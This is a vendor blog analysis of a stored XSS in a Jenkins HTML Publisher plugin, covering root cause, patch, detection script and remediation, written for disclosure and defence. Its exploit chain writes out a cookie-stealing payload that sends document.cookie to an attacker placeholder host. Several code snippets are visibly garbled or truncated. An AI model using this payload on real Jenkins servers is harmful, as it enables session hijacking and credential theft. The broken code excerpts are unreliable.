home intel cve-2026-42524-jenkins-html-publisher-xss-stored
CVE Analysis 2026-04-29 · 7 min read

CVE-2026-42524: Stored XSS in Jenkins HTML Publisher Plugin Legacy Wrapper

Jenkins HTML Publisher Plugin ≤427 fails to escape job name and URL in the legacy wrapper file, enabling stored XSS for any attacker with Item/Configure permission.

#stored-xss#jenkins-plugin#html-publisher#privilege-escalation#code-injection
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-42524 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-42524HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

Jenkins HTML Publisher Plugin versions 427 and earlier contain a stored cross-site scripting vulnerability (SECURITY-3706 / CVE-2026-42524, CVSS 8.0 HIGH) in the legacy wrapper file generation path. When the plugin renders the wrapper HTML file that frames published reports, it interpolates the job name and job URL directly into the document without HTML entity encoding. An attacker holding Item/Configure permission — a role commonly granted to developers in CI environments — can craft a job name containing JavaScript payload that executes in the browser of any user who opens the published HTML report.

This class of vulnerability is particularly dangerous in Jenkins because the HTML Publisher Plugin is ubiquitous: it is used to archive test coverage reports, API documentation, and static analysis output. The stored payload persists in the wrapper file on the Jenkins controller filesystem and fires for every subsequent viewer, including administrators.

Root cause: HtmlPublisherTarget.handleAction() writes the job name and job URL into the legacy wrapper HTML via string concatenation with no call to Util.escape() or equivalent HTML encoding, allowing arbitrary script injection by any user who can set a job's display name.

Affected Component

The vulnerable surface lives inside the HTML Publisher Plugin's wrapper file writer, specifically in the Groovy/Java class HtmlPublisherTarget and the Jelly/Groovy template that generates htmlpublisher-wrapper.html. The wrapper is a redirect shim written to the archived report directory; it references the job name in a visible title element and encodes the originating job URL in a JavaScript variable for navigation purposes.

Plugin artifact : htmlpublisher.hpi
Affected versions: ≤ 427
Fixed version    : 428 (released 2026-04-29)
Jenkins advisory : https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3706
Permission needed: Item/Configure
Impact scope     : Stored XSS → session hijack / credential theft of any report viewer

Root Cause Analysis

The legacy wrapper file is emitted by HtmlPublisherTarget.wrapIndex(). The method constructs the wrapper HTML using Java string formatting, pulling the display name and absolute URL of the owning job from the Jenkins model. Neither value is sanitized before insertion.

// HtmlPublisherTarget.java (reconstructed from bytecode, plugin ≤427)
// Equivalent pseudocode — field names match decompiled output.

private void wrapIndex(Run run, FilePath archiveDir) throws IOException {
    String jobName   = run.getParent().getFullDisplayName();  // attacker-controlled
    String jobUrl    = run.getParent().getAbsoluteUrl();      // attacker-controlled (display name in path)
    String reportDir = this.reportDir;
    String indexPage = this.reportFiles;

    // BUG: jobName and jobUrl written into HTML without escaping
    String wrapperContent = "\n"
        + "" + jobName + "\n"          // XSS vector 1
        + "\n"
        + "\n"
        + "\n";

    FilePath wrapperFile = archiveDir.child("htmlpublisher-wrapper.html");
    wrapperFile.write(wrapperContent, "UTF-8");   // persisted to disk
}

Two distinct injection points exist. The <title> element closes trivially with </title><script>...</script><title> in the job display name. The rootURL JavaScript string literal breaks out with a single quote, allowing direct script injection inside the existing <script> block — no tag boundary crossing required for the second vector.

Exploitation Mechanics

EXPLOIT CHAIN (Item/Configure → stored XSS → admin session theft):

1. Attacker authenticates to Jenkins with a user account that holds
   Item/Configure on any pipeline or freestyle job.

2. Attacker sets the job display name to a crafted string via
   Configure → Advanced → Display Name:

     Payload (title vector):
       Reports

     Payload (JS string vector, requires only rootURL context):
       '; fetch('https://attacker.tld/x?c='+document.cookie);//

3. Attacker triggers a build that runs the HTML Publisher build step,
   causing wrapIndex() to write the poisoned wrapper to:
     $JENKINS_HOME/jobs/<jobname>/builds/<n>/htmlreports/<dir>/htmlpublisher-wrapper.html

4. Victim (any role including admin) navigates to the published report
   via: https://jenkins.corp/job/<name>/<n>/HTML_20Report/

5. Jenkins serves htmlpublisher-wrapper.html from the archived workspace.
   Browser executes injected script in the jenkins.corp origin context.

6. Injected fetch() exfiltrates document.cookie including JSESSIONID
   to the attacker-controlled endpoint.

7. Attacker replays session cookie → full Jenkins access as victim.
</code></pre>

<p>The JS string break-out (vector 2) is especially clean because it executes inside an already-open <code><script></code> block, bypassing basic XSS filters that only look for tag boundaries. Content Security Policy is not enforced on archived report files served by the HTML Publisher itself — by design, since the plugin must allow arbitrary user HTML — making browser-side mitigations ineffective.</p>

<h2 class="article-h2">Memory Layout</h2>

<p>This is not a memory corruption bug, but the DOM state before and after injection is worth mapping precisely to understand why the payload is reliable.</p>

<pre><code class="language-text">DOM STATE — UNPATCHED WRAPPER (job display name = "Reports"):

<title>Reports


─────────────────────────────────────────────────────────────────────

DOM STATE — AFTER INJECTION (title vector):

Reports




Parser enters 

No tag injection required. Single-quote breaks string context.
Semicolon terminates rootURL assignment.
Double-slash comments out remainder of the original line.

Patch Analysis

The fix introduced in plugin version 428 routes both interpolated values through Jenkins' standard HTML escaping utility before concatenation. For the JavaScript context the URL is additionally validated against the Jenkins root URL to prevent open-redirect chaining.

// BEFORE (vulnerable, ≤427):
String wrapperContent = "\n"
    + "" + jobName + "\n"
    + "\n";


// AFTER (patched, 428):
import hudson.Util;

String safeJobName = Util.escape(jobName);          // HTML entity encoding
String safeJobUrl  = Util.escape(jobUrl);           // breaks JS string injection too

String wrapperContent = "\n"
    + "" + safeJobName + "\n"
    + "\n";

Util.escape() converts the five HTML special characters (&, <, >, ", ') to their named or numeric entities. Critically, encoding ' to ' inside the JavaScript string literal neutralises the string break-out vector independently of the tag injection fix, so either encoding call alone would have been sufficient to block both chains. The patch applies both, which is correct defence in depth.

Detection and Indicators

Audit existing wrapper files on the Jenkins controller for injection. The wrapper is always named htmlpublisher-wrapper.html and lives under each build's archived report directory.

# scan_wrappers.py — detect injected htmlpublisher-wrapper.html files
import os, re, sys

JENKINS_HOME = os.environ.get("JENKINS_HOME", "/var/lib/jenkins")
REPORT_ROOT  = os.path.join(JENKINS_HOME, "jobs")

# Patterns indicating XSS payload in wrapper
INDICATORS = [
    re.compile(r"", re.IGNORECASE),          # tag break in title context
    re.compile(r"

In Jenkins audit logs, look for job/<name>/configure POST requests followed shortly by a build trigger from the same user. The malicious display name will appear verbatim in the build log under Full project name. Access logs for htmlpublisher-wrapper.html after the poisoned build are evidence of victim exposure.

Remediation

Immediate: Upgrade HTML Publisher Plugin to version 428 or later. The fix is available via Manage Jenkins → Plugins → Updates without a Jenkins controller restart.

If immediate upgrade is blocked:

  • Revoke Item/Configure from all non-administrator accounts as a temporary measure.
  • Serve archived HTML reports from a separate origin (e.g., a dedicated static file server or S3 bucket) so that any XSS payload cannot access jenkins.corp cookies.
  • Enable a strict Content-Security-Policy header at the reverse proxy layer for paths matching /job/*/htmlreports/*: default-src 'none'; script-src 'none'. This will break legitimate reports that include inline scripts, but it eliminates the class entirely.

Longer term: Audit all Jenkins plugins that write attacker-influenced values into HTML files outside of Jelly templates (which auto-escape by default). The pattern of raw string interpolation into archived files is a recurring source of stored XSS in the Jenkins ecosystem and is not caught by the standard Jelly template safety net.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →